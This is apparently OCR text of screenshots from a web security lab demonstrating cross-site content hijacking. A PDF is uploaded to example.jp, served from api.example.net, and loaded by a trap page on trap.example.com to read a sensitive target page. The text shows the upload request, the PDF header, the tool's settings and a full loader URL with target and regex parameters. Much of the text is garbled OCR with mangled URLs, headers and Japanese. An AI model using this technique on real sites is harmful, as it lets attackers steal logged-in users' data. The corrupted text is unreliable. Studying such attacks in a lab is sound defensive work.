Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/4c/4c-012d.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

DNT: 1

.| Connection: keep-alive

Upgrade-Insecure-Requests: 1
Host: example.jp

e -
1| file=1418cbe2.pdf&orgfile=ContentHijacking.pdf :
e o o o o e

< e

HTTP/1.1

200 OK

Server: nginx/1.10.3
Date: Wed, 02 Jan 2019 16:26:57 GMT
Content-Type: application/pdf
Connection: keep-alive

X-Powered-By: PHP/5.3.3

F—Content-Type-Opt\ons: nosni
X

-Download-Options: noopen
-achment; filenam Eon_teﬂtﬂ]ﬂ:@g_pd_f_l

% Created by Soroush Dalili (@irsdl)
% Released under AGPL (see LICENSE for more information).

% Version 1.2
%PDF-1.1
10 o0bj
<<
/Pages 2 0 R % Set to the Kids object
JAcroForm
/1D [ (irsdl) (MyfancyPDF) ]
/Root 10 R
/Info60R
s

jam{qaﬁ[ﬂm?ﬁ—h]gmﬁwm

@ @ | oana AT @ AR

Id |USTARHE | AYwE |URL

AF—4H2A0... | AT —HAT—... [T FhUw... ‘ LA AT« H..

BEPS—b | )=k |22 |§

FS— M0 m1 P2 MO

79 19/01/03 1:25:40 POST  http://example.jpf4c/4c-012d.php 200 OK

77 16/01/03 1:18:47 GET http://example.jp/4c/4c-011d.php 200 OK 22 ms 211 bytes Fu Medium
78 19/01/03 1:24:31 GET http://example.jp/4c/ContentHijacking. pdf 200 OK 8 ms 11,982 bytes i Low
20 ms 297 bytes Fu Medium

HEOAEry W0 o D0 @0 ¥o 40 WMo
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@ ‘ContentHijacking.pdf

T 4c-002.pdf

@ sample.pdf

) 4c-900.php

@ sample.png

T ASC-12_1-JRzip

I IObit_Uninstaller-& 1-JRzip

ﬂ veusrv-64,1.20.1.3.installerexe

I ChkFlsh.zip

hashlisterif.exe

G Oracle_VM_VirtualBox_Extension_Pack-5.2.22.vbox-ext...
¥# VirtualBox-5.2.22-126460-Win.exe
hwfi1200.exe

ﬁ! NiAtena_setup.exe

I Smart_Defrag-6_1_0-JPzip

ST 7 14T F 7in

TP A N): | ContentHijacking.paf

v O Pl o
= O @
Ho X [
12 KB
KB
Adobe Acrobat D...
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@ examplejp/4c/

ContentHijacking.pdf# 7w JO— L& EULE

Aga>0-—F

https//example p/dc/4c-012d.php X

@ view-source:http:/fexample,jp/4c/4c-012d.php

<body>

ContentHijacking.pdf &7 » 70— FLE LI/ <BR>

form action="4c-013d.php" method="post ">

<input type="hidden” name="1ile"” value="1418che? pdf ">

<input type="hidden” name="orzfile” value="ContentHiiacking. pdf 7>
<input type="submit” value="52 . 0—F"

<form>

</body>
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T7 I-DEFE: Adobe Acrobat Document
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| ContentHijacking.pdf - Adobe Reader - m} X
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- Cross Site Content (Data) Hijackinc X

<« c @

ap.example.com/4c/Co

Cross-Site Content (Data) Hijacking

LA + 4 voin DR =

This page has been loaded from "trap.example.com".

Object File: |http:,"fapi.exarnple.net.MqMc-DlBd.php7ﬂle=CnntentHijackiﬂg.pdf

Ty, [PoF ~| deafult: ./object/ContentHijacking.pdf

Target Page: |http:,n’fexamp\e.JijljBl-UZZ.php |

POST Data: | |
Log Mode:
Show RegEx: | |

Retrieve Cantentsm’ Logs Help Show URL with Parameters

Three files have been created for this project:
ContentHijacking.swf, and ContentHijacking.xap,
ContentHijacking.pdf, ContentHijacking.html - Read the help
for more information especially about renaming the
extension part. A Flash file which is vulnerable to
CVE-2011-2461 can also be used.

Flash is the best possible option. PDF only works with
Ldobe Reader in IE. Silverlight does not work well when the
target 1s set to another domain.

Page that you want to read its content and it contains
sensitive contents.

POST method in reading content request will be used when
this field is not empty.

Different type of logging.

Cnly extracted data using the provided Regular Expression
is logged when this field is not empty.

The object will be loaded below for debugging purposes...




Cross Site Content (Data) Hijackine X

(& ‘Q @) trap.exam ple.com/4

Cross-Site Content (Data) Hijacking

This page has been loaded from "trap.example.com”.

Object File: |http:f,-'api.examp\e.netf4cf4c-013d.php?ﬂle:ContentH\Jacking.pdf

Type: [POF ~| deafult: ./object/ContentHijacking.pdf

Target Page: |http:f,n’example.jpf31f31—022.php |

POST Data: | |
Log Mode:
Show RegEx: | |

Show URL with Parameters

Retrieve Contents Clear Logs Help

Lo @R =

Three files have been created for this project:
ContentHijacking.swf, and ContentHijacking.xap,
ContentHijacking.pdf, ContentHijacking.html - Read the help
for more information especially about renaming the
extension part. 2 Flash file which is wulnerable to
CVE-2011-2461 can also be used.

Flash i= the best possible option. PDF only works with
Adobe Reader in IE. Silverlight does not work well when the
target is set to another domain.

Page that you want to read its content and it contains
sensitive contents.

POST method in reading content request will be used when
this field is not empty.

Different type of logging.

Only extracted data using the provided Regular Expression
is logged when this field is not empty.

PDF object could not be loaded!
Waiting for the new object...

http://trap.example.com/4c/ContentHijackingloader.htmi?obifile=http://api.example.net/4c/4c-013d.php?file=ContentHijacking . pdf&obijtype=pdfa

target=http://example.jp/31/31-022.php&postdata=&logmode=all&regex=

The object will be loaded below for debugging purposes...

LARUA O 31/31-022php ABRBTELEAGYELT:
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Object File: |nttp:/fapi.example.net/dc/dc-013d.php?file=ContentHijacking.pdf

Type: [PDF v| deafult: ./object/ContentHijacking.pdf
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Log Mode:
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| Retrieve Contents | Clear Logs H Help H Show URL with Parameters
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ContentHijacking.swf, and ContentHijacking.xap,
ContentHijacking.pdf, ContentHijacking.html - Read the
help for more information especially about renaming
the extension part. & Flash file which is vulnerable
to CVE-2011-24€1 can alsc be used.

Flash is the best possible option. PDF only works with
Ldobe Reader in IE. Silverlight does not work well
when the target is set to another domain.

Page that you want to read its content and 1t contains
sensitive contents.

POST method in reading content reguest will be used
when this field is not empty.

Different type of logging.

Only extracted data using the provided Regular
Expression is logged when this field is not empty.
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